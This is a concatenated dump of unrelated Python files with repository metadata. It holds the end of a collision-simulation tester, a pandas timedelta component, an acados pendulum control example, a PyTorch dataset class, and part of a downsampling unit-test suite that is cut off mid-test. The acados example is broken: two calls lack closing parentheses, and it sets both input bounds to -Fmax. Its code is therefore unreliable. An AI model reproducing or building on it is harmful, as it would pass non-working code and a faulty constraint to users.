self.check_collision_output(out, collision_output_one)\n        self.assertEqual(errs, \"\")\n\n    def test_twenty(self):\n        \"twenty objects with random motion, no collisions\"\n        strin = \"\\n\".join(\" \".join(str(n) for n in x) for x in random_twenty)\n        correct_out = \"12\\n\" + \"\\n\".join(\"{} {} {} {} {}\".format(\n            x[0], x[1] + 12 * x[3], x[2] + 12 * x[4], x[3], x[4])\n                                         for x in random_twenty) + \"\\n\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, [\"12\"], strin)\n        self.assertEqual(rc, 0)\n        self.check_collision_output(out, correct_out)\n        self.assertEqual(errs, \"\")\n\n    def test_three_args(self):\n        \"\"\"three arguments, out of order, and with negatives.\n        use non-integer values for velocity.\"\"\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, [\"1\", \"-2\", \"3\", \"2\"],\n                                     basic_input)\n        self.assertEqual((rc, errs), (0, \"\"))\n        self.check_collision_output(out, basic_output)\n\n    def test_bad_args(self):\n        \"bad argument examples: negative or alpha\"\n        for bad_arg in bad_args:\n            with self.subTest(CASE=repr(bad_arg)):\n                (rc, out, errs) = runprogram(PROGRAM_TO_TEST, bad_arg,\n                                             basic_input)\n                if rc != BAD_ARGS_RC:\n                    self.fail('rc')\n\n    def test_bad_inputs(self):\n        \"bad input formatting.\"\n        for bad_in in bad_inputs:\n            with self.subTest(CASE=repr(bad_in)):\n                (rc, out, errs) = runprogram(PROGRAM_TO_TEST, [\"1\", \"2\"],\n                                             bad_in)\n                if rc != BAD_INPUT_RC:\n                    self.fail('rc')\n\n    def test_many_args(self):\n        \"handle 100+ arguments and large distances\"\n        many_args = list(range(1, 110))\n        strin = \"\\n\".join(\" \".join(str(n) for n in x) for x in runners)\n        outlines = []\n        for time in many_args:\n            outlines.append(\"{}\\n\".format(time))\n            for name, x, y, vx, vy in runners:\n                outlines.append(\"{} {} {} {} {}\\n\".format(\n                    name, x + vx * time, y + vy * time, vx, vy))\n        correct_out = \"\".join(outlines)\n\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST,\n                                     [str(x) for x in many_args], strin)\n        self.assertEqual(rc, 0)\n        self.check_collision_output(out, correct_out)\n        self.assertEqual(errs, \"\")\n\n    def test_large_time(self):\n        \"large time values\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, large_time_list,\n                                     large_time_input)\n        self.check_collision_output(out, large_time_output)\n\n    def test_big_locations(self):\n        \"wide field of motion\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, ['9999'],\n                                     big_locations_input)\n        self.check_collision_output(out, big_locations_output)\n\n    def test_dup_names(self):\n        \"handle duplicate named objects\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, ['1', \"2\"], dup_names)\n        self.check_collision_output(out, dup_names_out)\n        self.assertEqual(rc, 0)\n        self.assertEqual(errs, \"\")\n\n    def test_many_collisions(self):\n        \"handle multiple collisions\"\n        inlines = [\"mover 0 0 0 1\\n\"]\n        outlines = [\"2000\\n\", \"mover 0 10 0 0\\n\"]\n        for i, ypos in enumerate(range(20, 3000, 20)):\n            inlines.append(\"mover{} 0 {} 0 0\\n\".format(i, ypos))\n            outlines.append(\"mover{} 0 {} 0 0\\n\".format(i, ypos + 10))\n\n        input_str = \"\".join(inlines)\n        outlines[-1] = \"mover148 0 3490 0 1\\n\"\n\n        correct_out = \"\".join(outlines)\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, ['2000'], input_str)\n        self.check_collision_output(out, correct_out)\n\n\ndef main():\n    unittest.main()\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "7660be565c92008f96c7983fc8a08941eff8f773", "size": 8406, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignment6/collision_tester.py", "max_stars_repo_name": "guozhonghao1994/ec602", "max_stars_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-11-14T16:07:31.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-15T16:44:51.000Z", "max_issues_repo_path": "assignment6/collision_tester.py", "max_issues_repo_name": "guozhonghao1994/BU_EC602_Assignment", "max_issues_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignment6/collision_tester.py", "max_forks_repo_name": "guozhonghao1994/BU_EC602_Assignment", "max_forks_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9619771863, "max_line_length": 78, "alphanum_fraction": 0.5241494171, "include": true, "reason": "import numpy", "num_tokens": 2469, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11757213199952936, "lm_q1q2_score": 0.05329096182521559}}
{"text": "\"\"\" Module Docsting: Documentation for \"Add Timedelta to Index\"\n\n# Add Timedelta to Index\n\n## Description\nThis component adds the provided timedelta to each of the indices of the provided dataframe or series.\n\n## Inputs\n* **df_or_series** (Any): Both dataframe and series are accepted, the indices must be datetimes.\n* **timedelta** (String): Timedelta to be added (may be negative) to each of the indices, e.g. '3s', '-1min', or '2days'.\n\n## Outputs\n* **df_or_series** (Any): Dataframe or series same as the input just with the provided timedelta added to each of the indices.\n\n## Details\nThis component adds the provided timedelta to each of the indices of the provided dataframe or series. \n\n## Examples\nThe json input of a typical call of this component, adding a timedelta of 2 days to each of the indices is\n```\n{\n\t\"df_or_series\": {\n\t\t\"2019-08-01T15:20:00\": 1.0,\n\t\t\"2019-08-02T15:20:15\": 7.0,\n\t\t\"2019-08-04T15:19:20\": 5.0\n\t},\n\t\"timedelta\": \"2days\"\n}\n```\nThe expected output is\n```\n\t\"df_or_series\": {\n\t\t\"2019-08-03T15:20:00\": 1.0,\n\t\t\"2019-08-04T15:20:15\": 7.0,\n\t\t\"2019-08-06T15:19:20\": 5.0\n\t}\n```\n\nThe json input of a call of this component with the same series, adding a timedelta of -1 minute\n```\n{\n\t\"df_or_series\": {\n\t\t\"2019-08-03T15:20:00\": 1.0,\n\t\t\"2019-08-04T15:20:15\": 7.0,\n\t\t\"2019-08-06T15:19:20\": 5.0\n\t},\n\t\"timedelta\": \"-1min\"\n}\n```\nThe expected output is\n```\n\t\"df_or_series\": {\n\t\t\"2019-08-03T15:19:00\": 1.0,\n\t\t\"2019-08-04T15:19:15\": 7.0,\n\t\t\"2019-08-06T15:18:20\": 5.0\n\t}\n```\n\n\"\"\"\n\nfrom hetdesrun.component.registration import register\nfrom hetdesrun.datatypes import DataType\n\nimport pandas as pd\nimport numpy as np\n\n# ***** DO NOT EDIT LINES BELOW *****\n# These lines may be overwritten if component details or inputs/outputs change.\n@register(\n    inputs={\"df_or_series\": DataType.Any, \"timedelta\": DataType.String},\n    outputs={\"df_or_series\": DataType.Any},\n    name=\"Add Timedelta to Index\",\n    description=\"Add a timedelta to the index of a frame or series\",\n    category=\"Time length operations\",\n    id=\"c587ced1-7841-4208-8f88-9a9bd6a28f20\",\n    revision_group_id=\"3b838621-8d8e-493a-a91a-5a7680385ed9\",\n    version_tag=\"1.0.0\"\n)\ndef main(*, df_or_series, timedelta):\n    # entrypoint function for this component\n    # ***** DO NOT EDIT LINES ABOVE *****\n    \"\"\" Usage example:\n    >>> main(\n    ...     df_or_series=pd.Series(\n    ...             [10.0, 22.0, 18.0, 2.0],   \n    ...             index=pd.to_datetime([\"2019-08-01T15:20:10\", \"2019-08-01T15:20:11\", \"2019-08-01T15:20:14\", \"2019-08-01T15:20:16\"])\n    ...     ),\n    ...     timedelta = \"-4s\",\n    ... )[\"df_or_series\"]\n    2019-08-01 15:20:06    10.0\n    2019-08-01 15:20:07    22.0\n    2019-08-01 15:20:10    18.0\n    2019-08-01 15:20:12     2.0\n    dtype: float64\n    \"\"\"\n    # write your function code here.\n    df_or_series = pd.DataFrame.from_dict(df_or_series, orient=\"index\")\n    df_or_series.index = pd.to_datetime(df_or_series.index)\n    if df_or_series.columns.size < 2:\n        df_or_series = df_or_series.squeeze(\"columns\")\n    new_index = df_or_series.index + pd.Timedelta(timedelta)\n    df_or_series.index = new_index\n    return {\"df_or_series\": df_or_series}\n", "meta": {"hexsha": "e074aa3d7693d4c130235f1e3fe30206c37a83aa", "size": 3162, "ext": "py", "lang": "Python", "max_stars_repo_path": "runtime/transformations/components/time-length-operations/add_timedelta_to_index_100_c587ced1-7841-4208-8f88-9a9bd6a28.py", "max_stars_repo_name": "MirKue/hetida-designer", "max_stars_repo_head_hexsha": "a5eccbe50d80650eb69f7430265b6a2be16f2df6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "runtime/transformations/components/time-length-operations/add_timedelta_to_index_100_c587ced1-7841-4208-8f88-9a9bd6a28.py", "max_issues_repo_name": "MirKue/hetida-designer", "max_issues_repo_head_hexsha": "a5eccbe50d80650eb69f7430265b6a2be16f2df6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "runtime/transformations/components/time-length-operations/add_timedelta_to_index_100_c587ced1-7841-4208-8f88-9a9bd6a28.py", "max_forks_repo_name": "MirKue/hetida-designer", "max_forks_repo_head_hexsha": "a5eccbe50d80650eb69f7430265b6a2be16f2df6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.4038461538, "max_line_length": 134, "alphanum_fraction": 0.6612903226, "include": true, "reason": "import numpy", "num_tokens": 1074, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326183324442865, "lm_q2_score": 0.11757213354550883, "lm_q1q2_score": 0.05329096078929612}}
{"text": "#\n# Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren,\n# Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor,\n# Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan,\n# Jonas Koenemann, Yutao Chen, Tobias Sch\u00f6ls, Jonas Schlagenhauf, Moritz Diehl\n#\n# This file is part of acados.\n#\n# The 2-Clause BSD License\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.;\n#\n\nfrom acados_template import *\nimport acados_template as at\nfrom export_ode_model import *\nimport numpy as np\nimport scipy.linalg\nfrom ctypes import *\n\n# create render arguments\nocp = AcadosOcp()\n\n# export model\nmodel = export_ode_model()\n\n# set model_name\nocp.model_name = model.name\n\nTf = 1.0\nnx = model.x.size()[0]\nnu = model.u.size()[0]\nny = nx + nu\nny_e = nx\nN = 100\n\n# set ocp_nlp_dimensions\n\nocp.set('dims_nx', nx)\nocp.set('dims_ny', ny)\nocp.set('dims_ny_e', ny_e)\nocp.set('dims_nbx', 0)\nocp.set('dims_nbu', nu)\nocp.set('dims_nu', model.u.size()[0])\nocp.set('dims_N', N)\n\n# set weighting matrices\nQ = np.eye(4)\nQ[0,0] = 1e3\nQ[1,1] = 1e-2\nQ[2,2] = 1e3\nQ[3,3] = 1e-2\n\nR = np.eye(1)\nR[0,0] = 1e-2\n\nocp.set('cost_W', scipy.linalg.block_diag(Q, R))\n\nVx = np.zeros((ny, nx))\nVx[0,0] = 1.0\nVx[1,1] = 1.0\nVx[2,2] = 1.0\nVx[3,3] = 1.0\n\nocp.set('cost_Vx', Vx)\n\nVu = np.zeros((ny, nu))\nVu[4,0] = 1.0\nocp.set('cost_Vu', Vu)\n\nocp.set('cost_W_e', Q)\n\nVx_e = np.zeros((ny_e, nx))\nVx_e[0,0] = 1.0\nVx_e[1,1] = 1.0\nVx_e[2,2] = 1.0\nVx_e[3,3] = 1.0\n\nocp.set('cost_Vx_e', Vx_e)\n\nocp.set('cost_yref', np.zeros((ny, )))\nocp.set('cost_yref_e', np.zeros((ny_e, )))\n\n# setting bounds\nFmax = 80.0\nocp.set('constraints_lbu', np.array([-Fmax]))\nocp.set('constraints_ubu', np.array([-Fmax]))\nocp.set('constraints_x0', np.array([0.0, 0.0, 3.14, 0.0])\nocp.set('constraints_idxbu', np.array([0])\n\n# set constants\n# ocp.constants['PI'] = 3.1415926535897932\n\n# set QP solver\n# ocp.solver_options.qp_solver = 'PARTIAL_CONDENSING_HPIPM'\nocp.set('solver_options_qp_solver', 'FULL_CONDENSING_QPOASES')\nocp.set('solver_options_hessian_approx', 'GAUSS_NEWTON')\nocp.set('solver_options_integrator_type', 'ERK')\n\n# set prediction horizon\nocp.set('solver_options_tf', Tf)\nocp.set('solver_options_nlp_solver_type', 'SQP')\n\n# set header path\nocp.set('acados_include_path', '/usr/local/include')\nocp.set('acados_lib_path', '/usr/local/lib')\n\n# json_layout = acados_ocp2json_layout(ocp)\n# with open('acados_layout.json', 'w') as f:\n#     json.dump(json_layout, f, default=np_array_to_list)\n# exit()\n\nacados_solver = generate_solver(model, ocp, json_file = 'acados_ocp.json')\n\nNsim = 100\n\nsimX = np.ndarray((Nsim, nx))\nsimU = np.ndarray((Nsim, nu))\n\nfor i in range(Nsim):\n    status = acados_solver.solve()\n\n    # get solution\n    x0 = acados_solver.get(0, \"x\")\n    u0 = acados_solver.get(0, \"u\")\n\n    for j in range(nx):\n        simX[i,j] = x0[j]\n\n    for j in range(nu):\n        simU[i,j] = u0[j]\n\n    # update initial condition\n    x0 = acados_solver.get(1, \"x\")\n\n    acados_solver.set(0, \"lbx\", x0)\n    acados_solver.set(0, \"ubx\", x0)\n\n# plot results\nimport matplotlib\nimport matplotlib.pyplot as plt\nt = np.linspace(0.0, Tf/N, Nsim)\nplt.subplot(2, 1, 1)\nplt.step(t, simU, 'r')\nplt.title('closed-loop simulation')\nplt.ylabel('u')\nplt.xlabel('t')\nplt.grid(True)\nplt.subplot(2, 1, 2)\nplt.plot(t, simX[:,2])\nplt.ylabel('theta')\nplt.xlabel('t')\nplt.grid(True)\nplt.show()\n", "meta": {"hexsha": "f363896f0a4298be0c3fedda4f1ee42d6134e6dc", "size": 4560, "ext": "py", "lang": "Python", "max_stars_repo_path": "interfaces/acados_template/examples/python/pendulum_example/generate_c_code_explicit_setters.py", "max_stars_repo_name": "mindThomas/acados", "max_stars_repo_head_hexsha": "90d75386cad9f2b16115cce04685e90934c0f7d8", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 322, "max_stars_repo_stars_event_min_datetime": "2016-04-05T12:44:12.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T09:20:57.000Z", "max_issues_repo_path": "interfaces/acados_template/examples/python/pendulum_example/generate_c_code_explicit_setters.py", "max_issues_repo_name": "krepa098/acados", "max_issues_repo_head_hexsha": "f4c6311f7a0cf3736afa7e3b40fac7e53e4324cb", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 551, "max_issues_repo_issues_event_min_datetime": "2016-04-05T16:01:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T10:57:29.000Z", "max_forks_repo_path": "interfaces/acados_template/examples/python/pendulum_example/generate_c_code_explicit_setters.py", "max_forks_repo_name": "krepa098/acados", "max_forks_repo_head_hexsha": "f4c6311f7a0cf3736afa7e3b40fac7e53e4324cb", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 156, "max_forks_repo_forks_event_min_datetime": "2016-04-05T11:17:56.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T07:30:02.000Z", "avg_line_length": 26.0571428571, "max_line_length": 78, "alphanum_fraction": 0.7100877193, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1482, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.10818896175069655, "lm_q1q2_score": 0.0532493233896438}}
{"text": "import numpy as np\r\nimport torch\r\nfrom torch.utils import data\r\n\r\n\r\nclass SimpleAutoDataset(data.Dataset):\r\n\tdef __init__(self,numpyFeatures,full_gpu=False):\r\n\t\tself.data = numpyFeatures\r\n\t\tself.full_gpu = full_gpu #if true, push everything to gpu\r\n\t\t\t\r\n\tdef __getitem__(self,index):\r\n\t\tif self.full_gpu:\r\n\t\t\treturn self.getItemTorch(index)\r\n\t\telse:\r\n\t\t\treturn self.getItemReg(index)\r\n\t\t\r\n\tdef __len__(self):\r\n\t\treturn self.data.shape[0]\r\n\r\n\tdef activate(self):\r\n\t\tif self.full_gpu: #push everything to gpu\r\n\t\t\tself.torchData = torch.from_numpy(self.data).cuda().float()\r\n\t\r\n\tdef deactivate(self):\r\n\t\tself.torchData = None\r\n\t\r\n\tdef getItemTorch(self,index):\r\n\t\treturn (self.torchData[index,:].flatten().float(),self.torchData[index,:].flatten().float())\r\n\r\n\tdef getItemReg(self,index):\r\n\t\treturn (torch.from_numpy(self.data[index,:]).flatten().float(),torch.from_numpy(self.data[index,:]).flatten().float())\r\n", "meta": {"hexsha": "aa80b806fd52c1d8c347a1653017a00764cebcb4", "size": 909, "ext": "py", "lang": "Python", "max_stars_repo_path": "Methods/SimpleAutoDataset.py", "max_stars_repo_name": "bmd2007/benchmark_eval", "max_stars_repo_head_hexsha": "aa42bb3369e79db4cb63e1963afcc8af6d8f5696", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-11T08:03:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-11T08:03:32.000Z", "max_issues_repo_path": "Methods/SimpleAutoDataset.py", "max_issues_repo_name": "bmd2007/benchmark_eval", "max_issues_repo_head_hexsha": "aa42bb3369e79db4cb63e1963afcc8af6d8f5696", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Methods/SimpleAutoDataset.py", "max_forks_repo_name": "bmd2007/benchmark_eval", "max_forks_repo_head_hexsha": "aa42bb3369e79db4cb63e1963afcc8af6d8f5696", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.40625, "max_line_length": 121, "alphanum_fraction": 0.7062706271, "include": true, "reason": "import numpy", "num_tokens": 214, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.10818894737344459, "lm_q1q2_score": 0.053249316313330956}}
{"text": "\"\"\"\nCopyright 2018-2019 CS Syst\u00e8mes d'Information\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n\"\"\"\n\nimport logging\nimport unittest\n\nimport numpy as np\n\nfrom ikats.algo.resampling.resampling_computation import downsampling_ts, LOGGER\nfrom ikats.core.resource.api import IkatsApi\n\n\ndef log_to_stdout(logger_to_use):\n    \"\"\"\n    Allow to print some loggers to stdout\n    :param logger_to_use: the LOGGER object to redirect to stdout\n    \"\"\"\n\n    logger_to_use.setLevel(logging.DEBUG)\n    formatter = logging.Formatter('%(asctime)s:%(levelname)s:%(funcName)s:%(message)s')\n    stream_handler = logging.StreamHandler()\n    stream_handler.setLevel(logging.DEBUG)\n    stream_handler.setFormatter(formatter)\n    logger_to_use.addHandler(stream_handler)\n\n\n# Prints the logger to display\nlog_to_stdout(LOGGER)\n\n\ndef gen_ts(ts_id):\n    \"\"\"\n    Generate a TS in database used for test bench where id is defined\n\n    :param ts_id: Identifier of the TS to generate (see content below for the structure)\n    :type ts_id: int\n\n    :return: the TSUID and funcId\n    :rtype: dict\n    \"\"\"\n\n    # Build TS identifier\n    fid = \"UNIT_TEST_Downsampling_%s\" % ts_id\n\n    if ts_id == 1:\n        ts_content = [\n            [1e12, 5.0],\n            [1e12 + 1000, 6.0],\n            [1e12 + 2000, 6.0],\n            [1e12 + 3000, 8.0],\n            [1e12 + 4000, -15.0],\n            [1e12 + 5000, 2.0],\n            [1e12 + 6000, 6.0],\n            [1e12 + 7000, 3.0],\n            [1e12 + 8000, 2.0],\n            [1e12 + 9000, 42.0],\n            [1e12 + 10000, 8.0],\n            [1e12 + 11000, 8.0],\n            [1e12 + 12000, 8.0],\n            [1e12 + 13000, 8.0]\n        ]\n    elif ts_id == 2:\n        ts_content = [\n            [1e12, 5.0],\n            [1e12 + 1000, 6.0],\n            [1e12 + 2000, 6.0],\n            [1e12 + 3600, 8.0],\n            [1e12 + 4000, -15.0],\n            [1e12 + 5000, 2.0],\n            [1e12 + 6000, 6.0],\n            [1e12 + 7200, 3.0],\n            [1e12 + 8000, 2.0],\n            [1e12 + 9000, 5.0],\n            [1e12 + 13000, 10.0]\n        ]\n    elif ts_id == 3:\n        ts_content = [\n            [1e12, 5.0],\n            [1e12 + 1000, 6.0],\n            [1e12 + 2000, 6.0],\n            [1e12 + 3000, 8.0],\n            [1e12 + 100000, 5.0],\n            [1e12 + 101000, 9.0],\n            [1e12 + 102000, 5.0],\n            [1e12 + 103000, 10.0]\n        ]\n    elif ts_id == 4:\n        ts_content = [\n            [1e12, 42.0]\n        ]\n    else:\n        raise NotImplementedError\n\n    # Remove former potential story having this name\n    try:\n        tsuid = IkatsApi.fid.tsuid(fid=fid)\n        IkatsApi.ts.delete(tsuid=tsuid, no_exception=True)\n    except ValueError:\n        # No TS to delete\n        pass\n\n    # Create the timeseries\n    result = IkatsApi.ts.create(fid=fid, data=np.array(ts_content))\n    IkatsApi.md.create(tsuid=result['tsuid'], name=\"qual_ref_period\", value=1000, force_update=True)\n    IkatsApi.md.create(tsuid=result['tsuid'], name=\"qual_nb_points\", value=len(ts_content), force_update=True)\n    if not result['status']:\n        raise SystemError(\"Error while creating TS %s\" % ts_id)\n\n    return {\"tsuid\": result['tsuid'], \"funcId\": fid}\n\n\nclass TestDownsampling(unittest.TestCase):\n    \"\"\"\n    Test of Downsampling computation\n    \"\"\"\n\n    def _check_results(self, ts_list, result, expected_data):\n        \"\"\"\n        Check the results of the downsampling and compare it to the expected data\n\n        :param ts_list: list of duet tsuid/funcId to match input to output\n        :param result: raw result of the operator\n        :param expected_data: expected data to be used as comparison reference\n\n        :type ts_list: list of dict\n        :type result: dict\n        :type expected_data: dict\n        \"\"\"\n\n        # Check number of results is the same\n        self.assertEqual(len(ts_list), len(result))\n\n        # Check data content\n        for index, ts_item in enumerate(ts_list):\n            original_tsuid = ts_item[\"tsuid\"]\n            obtained_tsuid = result[original_tsuid][\"tsuid\"]\n            obtained_data = IkatsApi.ts.read([obtained_tsuid])[0]\n\n            # Compare values\n            try:\n                self.assertTrue(np.allclose(\n                    np.array(expected_data[original_tsuid], dtype=np.float64),\n                    np.array(obtained_data, dtype=np.float64),\n                    atol=1e-2))\n            except Exception:\n                print(\"ts_item:%s\" % ts_item)\n                print(\"Expected (%d points)\" % len(expected_data[original_tsuid]))\n                print(expected_data[original_tsuid])\n                print(\"Obtained (%d points)\" % len(obtained_data))\n                print(obtained_data)\n                raise\n\n    @staticmethod\n    def _cleanup_ts(obtained_result=None, ts_list=None):\n        \"\"\"\n        Cleanup the time series used as inputs + resulting time series.\n\n        :param obtained_result: raw results obtained by algorithm\n        :type obtained_result: dict\n        \"\"\"\n        if obtained_result is not None:\n            for original_ts in obtained_result:\n                IkatsApi.ts.delete(tsuid=obtained_result[original_ts]['tsuid'], no_exception=True)\n                IkatsApi.ts.delete(tsuid=original_ts, no_exception=True)\n        if ts_list is not None:\n            for ts_item in ts_list:\n                IkatsApi.ts.delete(tsuid=ts_item['tsuid'], no_exception=True)\n\n    def test_nominal(self):\n        \"\"\"\n        Compute the downsampling on a single time series without any constraint\n        Check the time series is processed\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 6.0],\n                [1e12 + 2000, 8.0],\n                [1e12 + 4000, 2.0],\n                [1e12 + 6000, 6.0],\n                [1e12 + 8000, 42.0],\n                [1e12 + 10000, 8.0],\n                [1e12 + 12000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_not_aligned(self):\n        \"\"\"\n        Compute the downsampling on a single time series with a resampling period not a multiple of the original period\n        Check the time series is processed\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 6.0],\n                [1e12 + 1400, 6.0],\n                [1e12 + 2800, 8.0],\n                [1e12 + 4200, 2.0],\n                [1e12 + 5600, 6.0],\n                [1e12 + 7000, 3.0],\n                [1e12 + 8400, 42.0],\n                [1e12 + 9800, 8.0],\n                [1e12 + 11200, 8.0],\n                [1e12 + 12600, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=1400, timestamp_position=\"BEG\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=4, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_aggregation_max(self):\n        \"\"\"\n        Compute the downsampling on a single time series using MAX aggregation\n        Check the time series is processed and result matches the aggregation method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 6.0],\n                [1e12 + 2000, 8.0],\n                [1e12 + 4000, 2.0],\n                [1e12 + 6000, 6.0],\n                [1e12 + 8000, 42.0],\n                [1e12 + 10000, 8.0],\n                [1e12 + 12000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_aggregation_min(self):\n        \"\"\"\n        Compute the downsampling on a single time series using MIN aggregation\n        Check the time series is processed and result matches the aggregation method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.0],\n                [1e12 + 2000, 6.0],\n                [1e12 + 4000, -15.0],\n                [1e12 + 6000, 3.0],\n                [1e12 + 8000, 2.0],\n                [1e12 + 10000, 8.0],\n                [1e12 + 12000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"MIN\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_aggregation_med(self):\n        \"\"\"\n        Compute the downsampling on a single time series using MED aggregation (median)\n        To compute the median, sort (ascending) the values in the desired period and take the middle point\n        (or apply a linear interpolation in case of even values)\n        Check the time series is processed and result matches the aggregation method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected 